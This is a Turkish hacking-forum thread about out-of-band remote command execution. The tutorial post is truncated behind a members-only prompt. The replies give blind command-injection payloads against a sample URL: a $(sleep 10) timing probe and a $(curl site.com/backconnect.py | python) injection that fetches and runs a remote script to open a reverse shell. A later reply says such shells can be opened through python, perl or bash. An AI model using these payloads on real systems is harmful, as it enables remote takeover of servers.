Out of Band Remote Command Execution

[Cezeri]

=> OOB (Out of Band) nedir ?
=> RCE ve OOB ilişkisi ?

• HTTP/HTTPS ile Out of Band
• DNS ile Out of Band

=> Demo Uygulama

1) OOB nedir ?

“Blind” olarak adlandırdığımız zafiyetlere bu ismin verilmesinin sebebi, bize herhangi bir çıktı üretmemeleridir. Yani zafiyet mevcut olmasına rağmen bunun varlığını hedef sitemiz üzerinde göremiyoruz veyahut dolaylı yollardan anlayabiliyoruz (Content-Length, StatusCode değişiklikleri vs). Böyle olduğu...

İçeriğin tamamını görüntüleyebilmeniz için foruma üye olmanız gerekmektedir. Giriş yap veya üye ol.

 

[baba]

Birşeyler okumak yerine testler bash de sleep ile yapıp eger rce varsa bc almak da düşünülebilir.
vvHack.org/blindrce.php?parametre=$(sleep 10)

vvHack.org/blindrce.php?parametre=$(curl site.com/backconnect.py | python)

Gibi bişey

 

[Cezeri]

Aynen backconnect alınabilir, bundan bahsetmek aklımdaydı fakat unutmuşum. python,perl,bash vs. üzerinden bc alıp rahatça komutlarınızı çalıştırabilirsiniz.